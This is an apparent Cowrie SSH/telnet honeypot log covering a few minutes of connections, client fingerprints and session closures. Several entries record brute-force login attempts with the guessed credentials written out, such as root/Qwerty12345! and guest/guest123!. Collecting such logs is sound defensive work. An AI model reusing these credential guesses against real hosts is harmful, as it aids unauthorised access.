{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:45.928497Z","src_ip":"121.122.119.48","session":"cda200ed1d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345!","message":"login attempt [root/Qwerty12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:46.908215Z","src_ip":"121.122.119.48","session":"cda200ed1d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":59684,"dst_ip":"10.17.0.5","dst_port":23,"session":"440ee6bada90","protocol":"telnet","message":"New connection: 24.199.85.165:59684 (10.17.0.5:23) [session: 440ee6bada90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:47.566891Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:48.149988Z","src_ip":"121.122.119.48","session":"cda200ed1d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":59688,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e3bd13c825","protocol":"telnet","message":"New connection: 24.199.85.165:59688 (10.17.0.5:23) [session: 83e3bd13c825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:50.904650Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58774,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6249fc5d6f","protocol":"telnet","message":"New connection: 24.199.85.165:58774 (10.17.0.5:23) [session: 0e6249fc5d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:50:53.077554Z"}
{"eventid":"cowrie.session.closed","duration":41.36506938934326,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:00.052411Z","src_ip":"24.199.85.165","session":"a9bfee02ab0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.10644769668579,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:08.646117Z","src_ip":"24.199.85.165","session":"e4ae114be395","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.52751851081848,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:20.397194Z","src_ip":"24.199.85.165","session":"f8c2ce24f61e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12533926963806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:22.692131Z","src_ip":"24.199.85.165","session":"440ee6bada90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10258650779724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:23.007148Z","src_ip":"24.199.85.165","session":"83e3bd13c825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86133003234863,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:25.938744Z","src_ip":"24.199.85.165","session":"0e6249fc5d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.214.235.90","src_port":4276,"dst_ip":"159.203.135.109","dst_port":23,"session":"802d78836035","protocol":"telnet","message":"New connection: 58.214.235.90:4276 (159.203.135.109:23) [session: 802d78836035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:29.357687Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.164.253.196","src_port":64393,"dst_ip":"159.203.135.109","dst_port":23,"session":"67f3daf32104","protocol":"telnet","message":"New connection: 88.164.253.196:64393 (159.203.135.109:23) [session: 67f3daf32104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:36.474027Z"}
{"eventid":"cowrie.session.closed","duration":1.5059518814086914,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:37.979853Z","src_ip":"88.164.253.196","session":"67f3daf32104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.164.253.196","src_port":61142,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef0eb7f22c54","protocol":"telnet","message":"New connection: 88.164.253.196:61142 (159.203.135.109:23) [session: ef0eb7f22c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:38.066140Z"}
{"eventid":"cowrie.session.closed","duration":1.9678699970245361,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:40.033912Z","src_ip":"88.164.253.196","session":"ef0eb7f22c54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.380791664123535,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:42.738296Z","src_ip":"58.214.235.90","session":"802d78836035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":59401,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd2227939909","protocol":"ssh","message":"New connection: 121.122.119.48:59401 (159.203.135.109:22) [session: fd2227939909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:49.870038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:49.874834Z","src_ip":"121.122.119.48","session":"fd2227939909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:50.115360Z","src_ip":"121.122.119.48","session":"fd2227939909","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer`123","message":"login attempt [root/qwer`123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:51.108122Z","src_ip":"121.122.119.48","session":"fd2227939909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:52.352216Z","src_ip":"121.122.119.48","session":"fd2227939909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45630,"dst_ip":"10.17.0.5","dst_port":23,"session":"04fd88be5254","protocol":"telnet","message":"New connection: 24.199.85.165:45630 (10.17.0.5:23) [session: 04fd88be5254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:51:56.292358Z"}
{"eventid":"cowrie.session.closed","duration":120.00125360488892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:16.909613Z","src_ip":"78.162.129.104","session":"70df23dea588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"73b702f393cb","protocol":"telnet","message":"New connection: 78.162.129.104:56478 (10.17.0.5:23) [session: 73b702f393cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:18.565593Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":56978,"dst_ip":"10.17.0.5","dst_port":23,"session":"eddf8c1c061b","protocol":"telnet","message":"New connection: 78.162.129.104:56978 (10.17.0.5:23) [session: eddf8c1c061b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:20.926807Z"}
{"eventid":"cowrie.session.closed","duration":2.0608925819396973,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:22.987578Z","src_ip":"78.162.129.104","session":"eddf8c1c061b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58008,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6e93b0ad936","protocol":"telnet","message":"New connection: 24.199.85.165:58008 (10.17.0.5:23) [session: a6e93b0ad936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:24.927785Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.162.129.104","src_port":57210,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c025c2d1169","protocol":"telnet","message":"New connection: 78.162.129.104:57210 (10.17.0.5:23) [session: 0c025c2d1169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:24.988953Z"}
{"eventid":"cowrie.session.closed","duration":0.005674600601196289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:24.994484Z","src_ip":"78.162.129.104","session":"0c025c2d1169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.254305362701416,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:28.546538Z","src_ip":"24.199.85.165","session":"04fd88be5254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55802,"dst_ip":"10.17.0.5","dst_port":23,"session":"d37651b014cb","protocol":"telnet","message":"New connection: 24.199.85.165:55802 (10.17.0.5:23) [session: d37651b014cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:41.824773Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":40096,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8cde5c75564","protocol":"ssh","message":"New connection: 121.122.119.48:40096 (159.203.135.109:22) [session: c8cde5c75564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:54.082760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:54.088900Z","src_ip":"121.122.119.48","session":"c8cde5c75564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:54.326269Z","src_ip":"121.122.119.48","session":"c8cde5c75564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lX123456","message":"login attempt [root/lX123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:55.310707Z","src_ip":"121.122.119.48","session":"c8cde5c75564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:56.552110Z","src_ip":"121.122.119.48","session":"c8cde5c75564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":57648,"dst_ip":"10.17.0.5","dst_port":23,"session":"4611a4767ab1","protocol":"telnet","message":"New connection: 24.199.85.165:57648 (10.17.0.5:23) [session: 4611a4767ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:58.179629Z"}
{"eventid":"cowrie.session.closed","duration":34.65720319747925,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:52:59.584884Z","src_ip":"24.199.85.165","session":"a6e93b0ad936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50056,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b76ae87146","protocol":"telnet","message":"New connection: 24.199.85.165:50056 (10.17.0.5:23) [session: 58b76ae87146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:03.139234Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50066,"dst_ip":"10.17.0.5","dst_port":23,"session":"856178874efa","protocol":"telnet","message":"New connection: 24.199.85.165:50066 (10.17.0.5:23) [session: 856178874efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:10.512969Z"}
{"eventid":"cowrie.session.closed","duration":37.96268010139465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:19.787341Z","src_ip":"24.199.85.165","session":"d37651b014cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45926,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b4580d5cb7","protocol":"telnet","message":"New connection: 185.26.126.47:45926 (159.203.135.109:23) [session: 86b4580d5cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:22.894753Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e292a6103ee","protocol":"telnet","message":"New connection: 24.199.85.165:43558 (10.17.0.5:23) [session: 2e292a6103ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:31.103542Z"}
{"eventid":"cowrie.session.closed","duration":34.48325824737549,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:32.662766Z","src_ip":"24.199.85.165","session":"4611a4767ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.24722743034363,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:36.386266Z","src_ip":"24.199.85.165","session":"58b76ae87146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.159045457839966,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:37.053656Z","src_ip":"185.26.126.47","session":"86b4580d5cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.70.35","src_port":37517,"dst_ip":"10.17.0.5","dst_port":23,"session":"4273298d2960","protocol":"telnet","message":"New connection: 84.54.70.35:37517 (10.17.0.5:23) [session: 4273298d2960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:40.042299Z"}
{"eventid":"cowrie.session.closed","duration":32.08507013320923,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:42.597912Z","src_ip":"24.199.85.165","session":"856178874efa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":49222,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa96d25ab2ee","protocol":"ssh","message":"New connection: 154.117.199.5:49222 (10.17.0.5:22) [session: aa96d25ab2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:51.894044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:52.128036Z","src_ip":"154.117.199.5","session":"aa96d25ab2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:52.366141Z","src_ip":"154.117.199.5","session":"aa96d25ab2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.246108531951904,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:54.288315Z","src_ip":"84.54.70.35","session":"4273298d2960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":49026,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a50ab7659ef","protocol":"ssh","message":"New connection: 121.122.119.48:49026 (159.203.135.109:22) [session: 8a50ab7659ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:57.339415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:57.344676Z","src_ip":"121.122.119.48","session":"8a50ab7659ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:57.584280Z","src_ip":"121.122.119.48","session":"8a50ab7659ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123!","message":"login attempt [guest/guest123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:58.574878Z","src_ip":"121.122.119.48","session":"8a50ab7659ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38596,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a9c734309e5","protocol":"telnet","message":"New connection: 24.199.85.165:38596 (10.17.0.5:23) [session: 6a9c734309e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:59.336211Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38600,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7711b93df1d","protocol":"telnet","message":"New connection: 24.199.85.165:38600 (10.17.0.5:23) [session: a7711b93df1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:59.365292Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:53:59.818620Z","src_ip":"121.122.119.48","session":"8a50ab7659ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.679457664489746,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:03.782888Z","src_ip":"24.199.85.165","session":"2e292a6103ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00120949745178,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:54:18.566647Z","src_ip":"78.162.129.104","session":"73b702f393cb","protocol":"telnet"}
